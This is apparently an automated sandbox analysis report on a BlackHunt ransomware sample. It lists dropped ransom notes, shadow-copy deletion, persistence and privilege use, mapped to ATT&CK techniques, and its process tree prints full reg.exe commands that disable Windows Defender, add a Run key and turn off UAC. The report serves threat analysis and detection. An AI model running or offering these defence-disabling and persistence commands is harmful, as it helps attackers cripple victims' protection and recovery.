File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Kwajalein	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.txt	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.console_1.1.0.v20140131-1639.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.forms.nl_ja_4.4.0.v20140623020002.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sampler_zh_CN.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\#BlackHunt_ReadMe.hta	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\access-bridge-64.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\#BlackHunt_Private.key	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-ui.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Tijuana	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\mobile_browse.html	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\#BlackHunt_ReadMe.hta	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Notes_loop_PAL.wmv	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#BlackHunt_ReadMe.txt	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui_5.5.0.165303.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-execution_zh_CN.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\#BlackHunt_Private.key	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_ButtonGraphic.png	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Noumea	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+5	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_widescreen_Thumbnail.bmp	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_ja.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\#BlackHunt_ReadMe.hta	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\#BlackHunt_ReadMe.hta	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_Private.key	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_it.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\1047x576black.png	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-windows.xml	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\#BlackHunt_Private.key	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\.lastModified	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\La_Paz	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Volgograd	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_mixer\#BlackHunt_ReadMe.hta	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.txt	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\#BlackHunt_Private.key	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#BlackHunt_Private.key	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\license.html	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2784	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2668	vssadmin.exe
1612	vssadmin.exe
580	vssadmin.exe
2952	vssadmin.exe
108	vssadmin.exe
1656	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3376	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	vdsldr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	vdsldr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	vdsldr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	vdsldr.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3952	PING.EXE

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
Token: SeRestorePrivilege	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
Token: SeBackupPrivilege	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
Token: SeTakeOwnershipPrivilege	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
Token: SeAuditPrivilege	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
Token: SeSecurityPrivilege	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
Token: SeIncBasePriorityPrivilege	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
Token: SeBackupPrivilege	644	vssvc.exe
Token: SeRestorePrivilege	644	vssvc.exe
Token: SeAuditPrivilege	644	vssvc.exe
Token: SeBackupPrivilege	1616	wbengine.exe
Token: SeRestorePrivilege	1616	wbengine.exe
Token: SeSecurityPrivilege	1616	wbengine.exe
Token: SeSecurityPrivilege	1848	wevtutil.exe
Token: SeBackupPrivilege	1848	wevtutil.exe
Token: SeSecurityPrivilege	2616	wevtutil.exe
Token: SeBackupPrivilege	2616	wevtutil.exe
Token: SeSecurityPrivilege	3164	wevtutil.exe
Token: SeBackupPrivilege	3164	wevtutil.exe
Token: SeSecurityPrivilege	956	wevtutil.exe
Token: SeSecurityPrivilege	3100	wevtutil.exe
Token: SeBackupPrivilege	956	wevtutil.exe
Token: SeBackupPrivilege	3100	wevtutil.exe
Token: SeDebugPrivilege	3376	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1108 wrote to memory of 2028	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	29
PID 1108 wrote to memory of 2028	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	29
PID 1108 wrote to memory of 2028	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	29
PID 1108 wrote to memory of 2028	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	29
PID 1108 wrote to memory of 1736	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	31
PID 1108 wrote to memory of 1736	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	31
PID 1108 wrote to memory of 1736	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	31
PID 1108 wrote to memory of 1736	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	31
PID 1108 wrote to memory of 2612	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	33
PID 1108 wrote to memory of 2612	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	33
PID 1108 wrote to memory of 2612	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	33
PID 1108 wrote to memory of 2612	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	33
PID 2028 wrote to memory of 2660	2028	cmd.exe	34
PID 2028 wrote to memory of 2660	2028	cmd.exe	34
PID 2028 wrote to memory of 2660	2028	cmd.exe	34
PID 1108 wrote to memory of 2696	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	36
PID 1108 wrote to memory of 2696	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	36
PID 1108 wrote to memory of 2696	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	36
PID 1108 wrote to memory of 2696	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	36
PID 1736 wrote to memory of 2940	1736	cmd.exe	38
PID 1736 wrote to memory of 2940	1736	cmd.exe	38
PID 1736 wrote to memory of 2940	1736	cmd.exe	38
PID 1108 wrote to memory of 2664	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	39
PID 1108 wrote to memory of 2664	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	39
PID 1108 wrote to memory of 2664	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	39
PID 1108 wrote to memory of 2664	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	39
PID 1108 wrote to memory of 1420	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	41
PID 1108 wrote to memory of 1420	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	41
PID 1108 wrote to memory of 1420	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	41
PID 1108 wrote to memory of 1420	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	41
PID 1108 wrote to memory of 2788	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	42
PID 1108 wrote to memory of 2788	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	42
PID 1108 wrote to memory of 2788	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	42
PID 1108 wrote to memory of 2788	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	42
PID 2612 wrote to memory of 1184	2612	cmd.exe	43
PID 2612 wrote to memory of 1184	2612	cmd.exe	43
PID 2612 wrote to memory of 1184	2612	cmd.exe	43
PID 1108 wrote to memory of 2804	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	45
PID 1108 wrote to memory of 2804	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	45
PID 1108 wrote to memory of 2804	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	45
PID 1108 wrote to memory of 2804	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	45
PID 2696 wrote to memory of 2876	2696	cmd.exe	153
PID 2696 wrote to memory of 2876	2696	cmd.exe	153
PID 2696 wrote to memory of 2876	2696	cmd.exe	153
PID 1108 wrote to memory of 2840	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	47
PID 1108 wrote to memory of 2840	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	47
PID 1108 wrote to memory of 2840	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	47
PID 1108 wrote to memory of 2840	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	47
PID 1108 wrote to memory of 2632	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	49
PID 1108 wrote to memory of 2632	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	49
PID 1108 wrote to memory of 2632	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	49
PID 1108 wrote to memory of 2632	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	49
PID 1108 wrote to memory of 2640	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	50
PID 1108 wrote to memory of 2640	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	50
PID 1108 wrote to memory of 2640	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	50
PID 1108 wrote to memory of 2640	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	50
PID 1108 wrote to memory of 2500	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	55
PID 1108 wrote to memory of 2500	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	55
PID 1108 wrote to memory of 2500	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	55
PID 1108 wrote to memory of 2500	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	55
PID 1108 wrote to memory of 1112	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	57
PID 1108 wrote to memory of 1112	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	57
PID 1108 wrote to memory of 1112	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	57
PID 1108 wrote to memory of 1112	1108	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
"C:\Users\Admin\AppData\Local\Temp\eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:1420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
